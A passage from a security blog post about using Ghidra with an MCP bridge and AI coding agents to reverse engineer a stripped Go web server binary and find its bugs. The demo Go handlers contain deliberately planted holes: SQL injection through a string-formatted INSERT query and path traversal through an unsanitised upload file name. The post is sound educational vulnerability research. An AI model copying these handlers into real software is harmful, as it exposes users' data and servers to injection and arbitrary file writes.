function">AuthMiddleware</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>JWTSecret<span class="token punctuation">)</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/me/messages"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/me/avatar"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Next are the two intentionally embedded vulnerabilities: SQL injection during registration:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"fmt"</span>  <span class="token string">"net/http"</span>  <span class="token string">"time"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"github.com/golang-jwt/jwt/v5"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span>  <span class="token string">"membership-api/models"</span><span class="token punctuation">)</span><span class="token keyword">type</span> RegisterRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Email    <span class="token builtin">string</span> <span class="token string">`json:"email" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> LoginRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> AuthHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AuthHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  passwordHash<span class="token punctuation">,</span> err <span class="token operator">:=</span> models<span class="token punctuation">.</span><span class="token function">HashPassword</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> fmt<span class="token punctuation">.</span><span class="token function">Sprintf</span><span class="token punctuation">(</span><span class="token string">"INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')"</span><span class="token punctuation">,</span>    req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> passwordHash<span class="token punctuation">)</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span>query<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>And path traversal during file upload:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"net/http"</span>  <span class="token string">"path/filepath"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">type</span> AvatarHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AvatarHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AvatarHandler<span class="token punctuation">)</span> <span class="token function">Upload</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  userID<span class="token punctuation">,</span> ok <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">GetUserID</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span>  <span class="token keyword">if</span> <span class="token operator">!</span>ok <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusUnauthorized<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"unauthorized"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  file<span class="token punctuation">,</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">FormFile</span><span class="token punctuation">(</span><span class="token string">"avatar"</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"missing avatar file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  savePath <span class="token operator">:=</span> filepath<span class="token punctuation">.</span><span class="token function">Join</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>UploadDir<span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">SaveUploadedFile</span><span class="token punctuation">(</span>file<span class="token punctuation">,</span> savePath<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to save file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span><span class="token string">"UPDATE users SET avatar_path = ? WHERE id = ?"</span><span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">,</span> userID<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to update avatar"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusOK<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"avatar uploaded"</span><span class="token punctuation">,</span> <span class="token string">"path"</span><span class="token punctuation">:</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After writing it, I used this command to build it, removing everything that shouldn’t be there to simulate a more realistic scenario:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">CGO_ENABLED</span><span class="token operator">=</span><span class="token number">0</span> go build <span class="token parameter variable">-ldflags</span><span class="token operator">=</span><span class="token string">"-s -w"</span> <span class="token parameter variable">-trimpath</span> <span class="token parameter variable">-o</span> dist/membership-api <span class="token builtin class-name">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="preliminary-work">Preliminary Work</span></h2><p>Since our binary is stripped, all related symbols have been removed. Therefore, finding a useful plugin can help us restore Golang-related information more conveniently. I chose this one: <a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension</a></p><p>When analyzing, remember to check the relevant options:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p1.png" alt="analysis"></p><p>After the analysis, you can actually see more detailed information in Ghidra:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p2.png" alt="golang analysis"></p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p3.png" alt="c code"></p><p>But this still requires manual inspection. For someone like me who doesn’t know how to operate Ghidra, I just throw the binary in and don’t know how to look at it.</p><p>So, we need to install something that truly connects AI with Ghidra: <a href="https://github.com/LaurieWired/GhidraMCP">GhidraMCP</a>. There seem to be about two or three versions that many people use, so I randomly picked one that looked like it had better documentation and was easier to run.</p><p>After installation and enabling it in Ghidra, configure MCP on the AI side. For example, I’m using Cursor, so I set it up like this:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"mcpServers"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"ghidra"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token property">"command"</span><span class="token operator">:</span> <span class="token string">"python"</span><span class="token punctuation">,</span>      <span class="token property">"args"</span><span class="token operator">:</span> <span class="token punctuation">[</span>        <span class="token string">"/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py"</span><span class="token punctuation">,</span>        <span class="token string">"--ghidra-server"</span><span class="token punctuation">,</span>        <span class="token string">"http://127.0.0.1:8080/"</span>      <span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Up to this point, the preliminary work is ready.</p><p>By the way, I used Cursor for demonstration, but actually, any AI agent will do. Whether you use Codex, Claude Code, Open Code, or whatever, as long as it can connect to MCP, it’s fine.</p><h2><span id="start-commanding-the-ai-agent-to-work">Start Commanding the AI Agent to Work</span></h2><p>Next, it’s time to reverse engineer using my words. I just told it this:</p><blockquote><p>I am currently reverse engineering a Golang binary. Please help me use Ghidra MCP to assist and let me know what kind of program it is and what functions it has.</p></blockquote><p>It will start calling MCP by itself and searching for what it wants:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p4-en.jpg" alt="mcp call"></p><p>Here is the translated content:</p><p>Finally, here are the libraries used by this binary:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p5-en.jpg" alt="reversed libraty"></p><p>And the API routes:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p6-en.jpg" alt="reversed api route"></p><p>And the inferred file structure:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p8-en.jpg" alt="file structure"></p><p>Next, I let it help me convert the decompiled C back to Golang based on the inferred structure. It listed a few todos and then started its work:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p9-en.jpg" alt="c to golang"></p><p>As a result, the routes.go it reverse-engineered looks like this:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  userHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>UserHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  avatarHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">,</span> UploadPath<span class="token punctuation">:</span> <span class="token string">"uploads"</span><span class="token punctuation">&#125;</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  apiAuth <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  apiAuth<span class="token punctuation">.</span><span class="token function">Use</span><span class="token punctuation">(</span>middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/my-messages"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/avatar"</span><span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The structure of the code is slightly different from the original, indicating that there was no cheating (?). By the way, I had it run under different contexts, so it indeed could not see the original Golang source code.</p><p>In any case, the reverse-engineered code is clear and readable, but there are a few small errors. For example, <code>/my-messages</code> does not exist; it should be <code>/me/messages</code>. <code>/avatar</code> should also be <code>/me/avatar</code>. It seems some parts were skipped lazily.</p><p>The registration part looks like this:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  hashedPassword<span class="token punctuation">,</span> err <span class="token operator">:=</span> bcrypt<span class="token punctuation">.</span><span class="token function">GenerateFromPassword</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">byte</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> <span class="token string">`INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">ExecContext</span><span class="token punctuation">(</span>c<span class="token punctuation">.</span>Request<span class="token punctuation">.</span><span class="token function">Context</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> query<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> <span class="token function">string</span><span class="token punctuation">(</span>hashedPassword<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The part that was intentionally left for SQL injection has now been fixed, indicating that what it reverse-engineered is incorrect.</p><p>However, the path traversal vulnerability during file upload still exists, and it was easily identified:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p10-en.jpg" alt="vulnerability"></p><p>The above results were generated using the Cursor’s own composer 1.5 model because I was running out of quota, which is not as smart.</p><p>After switching to Opus 4.6, with the same prompt, it not only restored the code but also performed a security check, identifying the vulnerabilities that needed to be found. However, the route part still has errors; <code>/me</code> became <code>/my</code>. I thought these should be completely restored?</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p11-en.jpg" alt="opus findings"></p><h2><span id="conclusion">Conclusion</span></h2><p>Thanks to the evolution of AI agents and the MCP mechanism, agents can freely operate many different software to assist in automation.</p><p>Honestly, I experienced the joy of those so-called vibe coders when creating products during this reverse engineering process, which is: “I didn’t expect that I, who can’t write code, could also create a website, even though I don’t understand the principles, but it seems like something was made.”</p><p>However, vibe coding can lead to many small issues that someone who can’t write code might not discover, and relying solely on AI for reverse engineering is likely the same. Just like when I initially used composer 1.5, the results were incorrect. But thinking from another perspective, the overall process and API endpoints are correct, which is quite a gain.</p><p>Originally, relying on myself would score 0 points, but with AI, I can at least secure 60 points, which feels like a win.</p><p>The times are evolving, and tools are improving. This article aims to document my process of using these tools and AI agents for simple reverse engineering. Although the final results still have some minor errors, for a web server, the information obtained after reverse engineering the binary can be combined with dynamic testing for validation. Even with some small errors, it is still very helpful for overall testing.</p><p>After this run, I still feel that reverse engineering is very difficult, and I still think that those who understand reverse engineering are impressive. After all, I was working with a small binary; I’m not sure what would happen with a larger one.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I encountered a situation where I got a Golang HTTP server binary and needed to disassemble it for further research to find clues for the next steps.&lt;/p&gt;
&lt;p&gt;However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.&lt;/p&gt;
&lt;p&gt;But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.&lt;/p&gt;
&lt;p&gt;To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.&lt;/p&gt;
&lt;p&gt;For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>從 React 中學習 JavaScript 底層運作</title>
    <link href="https://blog.huli.tw/2025/11/16/learn-advanced-javascript-from-react/"/>
    <id>https://blog.huli.tw/2025/11/16/learn-advanced-javascript-from-react/</id>
    <published>2025-11-15T22:32:08.000Z</published>
    <updated>2025-11-16T08:01:36.948Z</updated>
    
